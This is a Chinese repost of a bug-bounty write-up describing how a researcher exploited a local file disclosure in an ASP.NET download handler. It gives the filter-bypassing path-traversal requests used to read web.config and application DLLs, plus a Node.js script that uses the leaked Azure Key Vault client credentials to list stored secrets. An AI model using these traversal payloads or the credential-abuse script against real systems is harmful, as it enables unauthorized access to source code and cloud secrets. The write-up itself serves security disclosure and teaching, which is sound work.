挖洞经验 | 通过读取ASP.NET应用泄露的secrets获得bug赏金17000美刀

栏目: ASP.NET · 发布时间: 6年前

内容简介:ASP.NET应用程序中比较常见的漏洞有本地文件泄露(LDF)。如果读者之前未接触过ASP.NET开发,那么LFD对于你来说可能很困惑并且会没啥思路。因此在下面的文章中,我描述了最接近真实环境下LFD攻击的应用程序的利用过程。在最近的挖洞过程中,我遇到了以下这个url

ASP.NET应用程序中比较常见的漏洞有本地文件泄露(LDF)。如果读者之前未接触过ASP.NET开发,那么LFD对于你来说可能很困惑并且会没啥思路。因此在下面的文章中,我描述了最接近真实环境下LFD攻击的应用程序的利用过程。

确定漏洞点

在最近的挖洞过程中,我遇到了以下这个url

https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF…

首先就觉得可以试试任意文件下载,访问后,在加载页面时,它会从服务器上的另一个路径下载帮助文档。但是它加密了,我没法篡改f的值,假设我能够找到密钥来解密参数(可能是AES加密),估计能尝试利用下LDF。

不过运气还不错,在网站的旧版本中找到了相同的下载点,如下:

https://domain.com/utility/download.aspx?f=file1234.docx

响应如下:

HTTP/1.1 200 OK
Connection: close
Content-Length: 27363
Ïó|uœZ^tÙ¢yǯ;!Y,}{ûCƒ³/h>

我立马就把参数改成download.aspx,竟然能返回apsx文件内容。

GET /utility/download.aspx?f=download.aspx
HTTP/1.1 200 OK
Connection: close
Content-Length: 263
<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>

经过测试,能访问aspx文件内容,但是实际的源码文件aspx.cs无法访问。

有关.aspx与.aspx.cs的区别可以参考 https://stackoverflow.com/questions/13182757/what-is-the-difference-between-aspx-and-aspx-cs

这个问题需要解决,不然无法后续进行利用。

我接着访问其他目录,看看有没有发现。

绕过目录访问限制

使用常规的../来遍历时,发现总是返回400 bad request,估计有过滤。

使用burp尝试下fuzz,看看能不能绕过。

可以手工进行测试,但为了节省时间就使用以下请求进行fuzz

GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx

挖洞经验 | 通过读取ASP.NET应用泄露的secrets获得bug赏金17000美刀

查看返回的内容,发现使用字符+返回了正确的内容。

这里我很疑惑,本地搭建环境测试的使用我使用+进行fuzz没成功,大致猜想加号在url中代表空格,也许与Window的文件名有关。

进一步利用

既然绕过了限制,接着我尝试读取了下ashx文件,ashx文件是一种带HTML和C#的混合文件,猜测应该能读取。

读取成功

HTTP/1.1 200 OK
Connection: close
Content-Length: 2398
<%@ WebHandler Language="C#" Class="redacted.redacted" %>
Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports System.IO
Imports System.Web
Imports System.Configuration
...

到这里已经能得到一些敏感信息了,接着想更深一步利用,所以我决定读取更多的源代码文件。

当对一种技术迷惑的时候,最好是去读它的官方文档,所以在阅读ASP.NET应用程序文档时发现编译类是保留/bin/className.dll中的。这意味着我们应该能够提取.ashx 文件中引用的类名。

通过发送以下请求,我能够下载到源文件的DLL(存储DLL https://blogs.msdn.microsoft.com/tom/2008/07/21/asp-net-tips-loading-a-dll-out-of-the-bin-directory/

GET /utility/download.aspx?f=.+./.+./bin/redacted.dll

下载后,使用dnSpy(C#反编译工具)导入DLL并恢复应用程序的源代码,之后可以下载更多的类文件来获取源代码。

挖洞经验 | 通过读取ASP.NET应用泄露的secrets获得bug赏金17000美刀

Azure密钥泄露证明造成严重影响

ASP.NET应用程序中敏感的文件有web.config,该文件本质上是一个配置文件,其中包含从单个页面到整个Web服务器的各种变量。文件里存在大量敏感信息,例如 SQL 数据库密码,比如上面我们看到的已加密参数的加密密钥,以及应用程序使用的内部接口。

下面是一个示例web.config文件。

<?xml version="1.0" encoding="utf-8"?>

<!--

For more information on how to configure your ASP.NET application, please visit

http://go.microsoft.com/fwlink/?LinkId=301880

-->

<configuration>

<appSettings>

<add key="webpages:Version" value="3.0.0.0" />

<add key="webpages:Enabled" value="false" />

<add key="ClientValidationEnabled" value="true" />

<add key="UnobtrusiveJavaScriptEnabled" value="true" />

<add key="PodioClientId" value="" />

<add key="PodioClientSecret" value="" />

<add key="AppId" value="" />

<add key="SpaceId" value="" />

</appSettings>

<connectionStrings>

<remove name="umbracoDbDSN" />

<add name="PodioAspnetSampleDb" connectionString="server=WSA07;database=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" />

</connectionStrings>

<system.web>

<compilation debug="true" targetFramework="4.5" />

<httpRuntime targetFramework="4.5" />

</system.web>

</configuration>

发送以下请求后,我们获取到了web.config的内容。

GET /utility/download.aspx?f=.+./.+./web.config

其中响应中包含了许多secrets,最值得注意的是以下secrets的泄露。

...
<add key="keyVaultDataPlaneUri" value="redacted" />
<add key="uniqueKeyVaultNameUri" value="redacted" />
<add key="keyVaultClientId" value="redacted" />
<add key="keyVaultClientSecretIdentifier" value="redacted" />
<add key="keyVaultClientTenantName" value="redacted" />
<add key="keyVaultAuthenticationContextUri" value="redacted" />
<add key="keyVaultApiVersion" value="2016-10-01" />
...

利用这些密钥可以访问Azure Key Vault实例。而Azure Key Vault用来保存应用程序的secrets,会带有一些敏感信息。

现在的问题是如何正确发送请求来访问Azure Key Vault实例?在与朋友shubs讨论之后,他立马写出了一个Node.js脚本,使用公开的密钥成功访问了Azure Key Vault实例…哈哈

var KeyVault = require('azure-keyvault');
var AuthenticationContext = require('adal-node').AuthenticationContext;
var clientId = "clientId";
var clientSecret = "clientSecret";
var vaultUri = "vaultUri";
// Authenticator - retrieves the access token
var authenticator = function (challenge, callback) {
  // Create a new authentication context.
  var context = new AuthenticationContext(challenge.authorization);
  // Use the context to acquire an authentication token.
  return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {
    if (err) throw err;
    // Calculate the value to be set in the request's Authorization header and resume the call.
    var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken;
    console.log(authorizationValue);
    return callback(null, authorizationValue);
  });
};
var credentials = new KeyVault.KeyVaultCredentials(authenticator);
var client = new KeyVault.KeyVaultClient(credentials);
client.getSecrets(vaultUri).then(function(value) {
    console.log(value);
});

响应如下:

{ id:

{ id:

' https://redacted.vault.azure.net/secrets/ftp_credentials ',

attributes:

{ enabled: true,

created: 2018-01-23T22:14:18.000Z,

updated: 2018-01-23T22:14:18.000Z,

recoveryLevel: 'Purgeable' },

contentType: 'secret' } ]

... more secrets ...

本次漏洞利用完成,最终获取的secrets足以让我控制系统来证明危害程度,所以可以提交报告了。

总结

ASP.NET无法访问源文件?可以尝试访问下/bin/className.dll。

想获取到更多敏感信息?记得读取web.config文件。

开发人员需要将 ASP.NET 应用程序安全性提升才能防止黑客攻击,如果能破解每个请求中发送的token,应该也能发现更多的安全问题(XSS、身份验证绕过、 shell 上传、LFD和LFI等)。

时间线

提交——2018年9月25日

审核——2018年9月27日

发放奖励17000美元——2018年9月29日

*参考来源: Samcurry ,由生如夏花编译,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Haskell School of Music

The Haskell School of Music

Paul Hudak、Donya Quick / Cambridge University Press / 2018-10-4 / GBP 42.99

This book teaches functional programming through creative applications in music and sound synthesis. Readers will learn the Haskell programming language and explore numerous ways to create music and d......一起来看看 《The Haskell School of Music》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具